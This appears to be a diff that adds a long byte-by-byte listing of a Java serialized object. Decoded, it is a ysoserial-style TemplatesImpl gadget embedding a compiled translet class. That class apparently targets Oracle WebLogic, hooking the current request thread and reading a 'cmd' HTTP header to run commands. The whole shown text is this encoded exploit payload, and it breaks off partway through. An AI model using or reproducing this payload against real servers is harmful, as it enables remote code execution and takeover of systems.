+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 83
+
+
+ 116
+
+
+ 121
+
+
+ 108
+
+
+ 101
+
+
+ 115
+
+
+ 104
+
+
+ 101
+
+
+ 101
+
+
+ 116
+
+
+ 116
+
+
+ 0
+
+
+ 18
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 76
+
+
+ 0
+
+
+ 11
+
+
+ 95
+
+
+ 97
+
+
+ 117
+
+
+ 120
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 101
+
+
+ 115
+
+
+ 116
+
+
+ 0
+
+
+ 59
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 114
+
+
+ 117
+
+
+ 110
+
+
+ 116
+
+
+ 105
+
+
+ 109
+
+
+ 101
+
+
+ 47
+
+
+ 72
+
+
+ 97
+
+
+ 115
+
+
+ 104
+
+
+ 116
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 59
+
+
+ 91
+
+
+ 0
+
+
+ 10
+
+
+ 95
+
+
+ 98
+
+
+ 121
+
+
+ 116
+
+
+ 101
+
+
+ 99
+
+
+ 111
+
+
+ 100
+
+
+ 101
+
+
+ 115
+
+
+ 116
+
+
+ 0
+
+
+ 3
+
+
+ 91
+
+
+ 91
+
+
+ 66
+
+
+ 91
+
+
+ 0
+
+
+ 6
+
+
+ 95
+
+
+ 99
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 116
+
+
+ 0
+
+
+ 18
+
+
+ 91
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 59
+
+
+ 76
+
+
+ 0
+
+
+ 5
+
+
+ 95
+
+
+ 110
+
+
+ 97
+
+
+ 109
+
+
+ 101
+
+
+ 113
+
+
+ 0
+
+
+ 126
+
+
+ 0
+
+
+ 4
+
+
+ 76
+
+
+ 0
+
+
+ 17
+
+
+ 95
+
+
+ 111
+
+
+ 117
+
+
+ 116
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 80
+
+
+ 114
+
+
+ 111
+
+
+ 112
+
+
+ 101
+
+
+ 114
+
+
+ 116
+
+
+ 105
+
+
+ 101
+
+
+ 115
+
+
+ 116
+
+
+ 0
+
+
+ 22
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 80
+
+
+ 114
+
+
+ 111
+
+
+ 112
+
+
+ 101
+
+
+ 114
+
+
+ 116
+
+
+ 105
+
+
+ 101
+
+
+ 115
+
+
+ 59
+
+
+ 120
+
+
+ 112
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ -1
+
+
+ -1
+
+
+ -1
+
+
+ -1
+
+
+ 0
+
+
+ 116
+
+
+ 0
+
+
+ 3
+
+
+ 97
+
+
+ 108
+
+
+ 108
+
+
+ 112
+
+
+ 117
+
+
+ 114
+
+
+ 0
+
+
+ 3
+
+
+ 91
+
+
+ 91
+
+
+ 66
+
+
+ 75
+
+
+ -3
+
+
+ 25
+
+
+ 21
+
+
+ 103
+
+
+ 103
+
+
+ -37
+
+
+ 55
+
+
+ 2
+
+
+ 0
+
+
+ 0
+
+
+ 120
+
+
+ 112
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 117
+
+
+ 114
+
+
+ 0
+
+
+ 2
+
+
+ 91
+
+
+ 66
+
+
+ -84
+
+
+ -13
+
+
+ 23
+
+
+ -8
+
+
+ 6
+
+
+ 8
+
+
+ 84
+
+
+ -32
+
+
+ 2
+
+
+ 0
+
+
+ 0
+
+
+ 120
+
+
+ 112
+
+
+ 0
+
+
+ 0
+
+
+ 14
+
+
+ 29
+
+
+ -54
+
+
+ -2
+
+
+ -70
+
+
+ -66
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 50
+
+
+ 0
+
+
+ -70
+
+
+ 10
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 34
+
+
+ 7
+
+
+ 0
+
+
+ -72
+
+
+ 7
+
+
+ 0
+
+
+ 37
+
+
+ 7
+
+
+ 0
+
+
+ 38
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 86
+
+
+ 101
+
+
+ 114
+
+
+ 115
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 85
+
+
+ 73
+
+
+ 68
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 74
+
+
+ 1
+
+
+ 0
+
+
+ 13
+
+
+ 67
+
+
+ 111
+
+
+ 110
+
+
+ 115
+
+
+ 116
+
+
+ 97
+
+
+ 110
+
+
+ 116
+
+
+ 86
+
+
+ 97
+
+
+ 108
+
+
+ 117
+
+
+ 101
+
+
+ 5
+
+
+ -83
+
+
+ 32
+
+
+ -109
+
+
+ -13
+
+
+ -111
+
+
+ -35
+
+
+ -17
+
+
+ 62
+
+
+ 1
+
+
+ 0
+
+
+ 6
+
+
+ 60
+
+
+ 105
+
+
+ 110
+
+
+ 105
+
+
+ 116
+
+
+ 62
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 40
+
+
+ 41
+
+
+ 86
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 67
+
+
+ 111
+
+
+ 100
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 15
+
+
+ 76
+
+
+ 105
+
+
+ 110
+
+
+ 101
+
+
+ 78
+
+
+ 117
+
+
+ 109
+
+
+ 98
+
+
+ 101
+
+
+ 114
+
+
+ 84
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 18
+
+
+ 76
+
+
+ 111
+
+
+ 99
+
+
+ 97
+
+
+ 108
+
+
+ 86
+
+
+ 97
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 84
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 116
+
+
+ 104
+
+
+ 105
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 83
+
+
+ 116
+
+
+ 117
+
+
+ 98
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 80
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 73
+
+
+ 110
+
+
+ 110
+
+
+ 101
+
+
+ 114
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 101
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 53
+
+
+ 76
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 36
+
+
+ 83
+
+
+ 116
+
+
+ 117
+
+
+ 98
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 80
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 9
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 102
+
+
+ 111
+
+
+ 114
+
+
+ 109
+
+
+ 1
+
+
+ 0
+
+
+ 114
+
+
+ 40
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 68
+
+
+ 79
+
+
+ 77
+
+
+ 59
+
+
+ 91
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 101
+
+
+ 114
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 41
+
+
+ 86
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 100
+
+
+ 111
+
+
+ 99
+
+
+ 117
+
+
+ 109
+
+
+ 101
+
+
+ 110
+
+
+ 116
+
+
+ 1
+
+
+ 0
+
+
+ 45
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 68
+
+
+ 79
+
+
+ 77
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 104
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 66
+
+
+ 91
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 101
+
+
+ 114
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 69
+
+
+ 120
+
+
+ 99
+
+
+ 101
+
+
+ 112
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 115
+
+
+ 7
+
+
+ 0
+
+
+ 39
+
+
+ 1
+
+
+ 0
+
+
+ -90
+
+
+ 40
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 68
+
+
+ 79
+
+
+ 77
+
+
+ 59
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 100
+
+
+ 116
+
+
+ 109
+
+
+ 47
+
+
+ 68
+
+
+ 84
+
+
+ 77
+
+
+ 65
+
+
+ 120
+
+
+ 105
+
+
+ 115
+
+
+ 73
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 97
+
+
+ 116
+
+
+ 111
+
+
+ 114
+
+
+ 59
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 101
+
+
+ 114
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 41
+
+
+ 86
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 97
+
+
+ 116
+
+
+ 111
+
+
+ 114
+
+
+ 1
+
+
+ 0
+
+
+ 53
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 100
+
+
+ 116
+
+
+ 109
+
+
+ 47
+
+
+ 68
+
+
+ 84
+
+
+ 77
+
+
+ 65
+
+
+ 120
+
+
+ 105
+
+
+ 115
+
+
+ 73
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 97
+
+
+ 116
+
+
+ 111
+
+
+ 114
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 104
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 1
+
+
+ 0
+
+
+ 65
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 101
+
+
+ 114
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 83
+
+
+ 111
+
+
+ 117
+
+
+ 114
+
+
+ 99
+
+
+ 101
+
+
+ 70
+
+
+ 105
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 46
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 12
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 11
+
+
+ 7
+
+
+ 0
+
+
+ 40
+
+
+ 1
+
+
+ 0
+
+
+ 51
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 36
+
+
+ 83
+
+
+ 116
+
+
+ 117
+
+
+ 98
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 80
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 1
+
+
+ 0
+
+
+ 64
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 114
+
+
+ 117
+
+
+ 110
+
+
+ 116
+
+
+ 105
+
+
+ 109
+
+
+ 101
+
+
+ 47
+
+
+ 65
+
+
+ 98
+
+
+ 115
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 99
+
+
+ 116
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 1
+
+
+ 0
+
+
+ 20
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 57
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 69
+
+
+ 120
+
+
+ 99
+
+
+ 101
+
+
+ 112
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 1
+
+
+ 0
+
+
+ 31
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 60
+
+
+ 99
+
+
+ 108
+
+
+ 105
+
+
+ 110
+
+
+ 105
+
+
+ 116
+
+
+ 62
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 84
+
+
+ 104
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 7
+
+
+ 0
+
+
+ 42
+
+
+ 1
+
+
+ 0
+
+
+ 13
+
+
+ 99
+
+
+ 117
+
+
+ 114
+
+
+ 114
+
+
+ 101
+
+
+ 110
+
+
+ 116
+
+
+ 84
+
+
+ 104
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 1
+
+
+ 0
+
+
+ 20
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 84
+
+
+ 104
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 44
+
+
+ 0
+
+
+ 45
+
+
+ 10
+
+
+ 0
+
+
+ 43
+
+
+ 0
+
+
+ 46
+
+
+ 1
+
+
+ 0
+
+
+ 27
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 119
+
+
+ 111
+
+
+ 114
+
+
+ 107
+
+
+ 47
+
+
+ 69
+
+
+ 120
+
+
+ 101
+
+
+ 99
+
+
+ 117
+
+
+ 116
+
+
+ 101
+
+
+ 84
+
+
+ 104
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 7
+
+
+ 0
+
+
+ 48
+
+
+ 1
+
+
+ 0
+
+
+ 14
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 67
+
+
+ 117
+
+
+ 114
+
+
+ 114
+
+
+ 101
+
+
+ 110
+
+
+ 116
+
+
+ 87
+
+
+ 111
+
+
+ 114
+
+
+ 107
+
+
+ 1
+
+
+ 0
+
+
+ 29
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 119
+
+
+ 111
+
+
+ 114
+
+
+ 107
+
+
+ 47
+
+
+ 87
+
+
+ 111
+
+
+ 114
+
+
+ 107
+
+
+ 65
+
+
+ 100
+
+
+ 97
+
+
+ 112
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 50
+
+
+ 0
+
+
+ 51
+
+
+ 10
+
+
+ 0
+
+
+ 49
+
+
+ 0
+
+
+ 52
+
+
+ 1
+
+
+ 0
+
+
+ 44
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 82
+
+
+ 101
+
+
+ 113
+
+
+ 117
+
+
+ 101
+
+
+ 115
+
+
+ 116
+
+
+ 73
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 7
+
+
+ 0
+
+
+ 54
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 99
+
+
+ 109
+
+
+ 100
+
+
+ 8
+
+
+ 0
+
+
+ 56
+
+
+ 1
+
+
+ 0
+
+
+ 9
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 72
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 101
+
+
+ 114
+
+
+ 1
+
+
+ 0
+
+
+ 38
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
